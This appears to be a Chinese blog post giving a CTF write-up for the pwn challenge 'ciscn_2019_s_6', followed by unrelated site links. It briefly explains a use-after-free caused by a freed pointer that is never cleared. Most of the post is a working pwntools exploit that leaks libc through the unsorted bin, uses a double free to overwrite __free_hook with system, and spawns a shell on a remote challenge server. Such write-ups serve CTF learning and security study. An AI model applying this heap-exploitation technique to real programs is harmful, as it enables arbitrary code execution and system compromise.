ciscn_2019_s_6(uaf)

wuchangjian2021-11-16 12:56:46编程学习

ciscn_2019_s_6:

保护全开
请添加图片描述

漏洞分析:

指针未清零,存在uaf
请添加图片描述

大致步骤:

利用unsortbin泄露libc,doublefree劫持free_hook为system

exp:

from pwn import *
local_file  = './ciscn_s_6'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',27542 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
def debug(cmd=''):
     gdb.attach(r,cmd)
#---------------------
def add(size,name):
    sla('choice:','1')
    sla('Please input the size of compary\'s name\n',str(size))
    sa('please input name:\n',name)
    sa('please input compary call:\n','198')
def show(index):
    sla('choice:','2')
    sla('Please input the index:\n',str(index))
def delete(index):
    sla('choice:','3')
    sla('Please input the index:',str(index))
#---------------------
add(0x410,'aaaa')
add(0x30,'/bin/sh\x00')
delete(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
print 'libc_base='+str(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
#-------------------------
add(0x30,'aaaa')
delete(2)
delete(2)
add(0x30,p64(free_hook))
add(0x30,p64(0))
add(0x30,p64(system))
delete(1)
#debug()
r.interactive()

相关文章

Salesforce紧凑型布局

紧凑型布局: 紧凑布局可以在 Salesforce 移动应用程序、Lig...

22日收评:创业板指缩量反包涨1.64%,锂矿股午后全线爆发

22日收评:创业板指缩量反包涨1.64%,锂矿股午后全线爆发

2022-08-22 15:12:49 财联社8月22日电,大盘早盘低...

中国茶叶行业市场调研及未来销售规模预测报告2021~2027年

中国茶叶行业市场调研及未来销售规模预测报告2021~2027年 +...

带薪玩一周游戏,还要涨工资

带薪玩一周游戏,还要涨工资

  带薪玩游戏,是多么开心的事情,我就找到了。...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。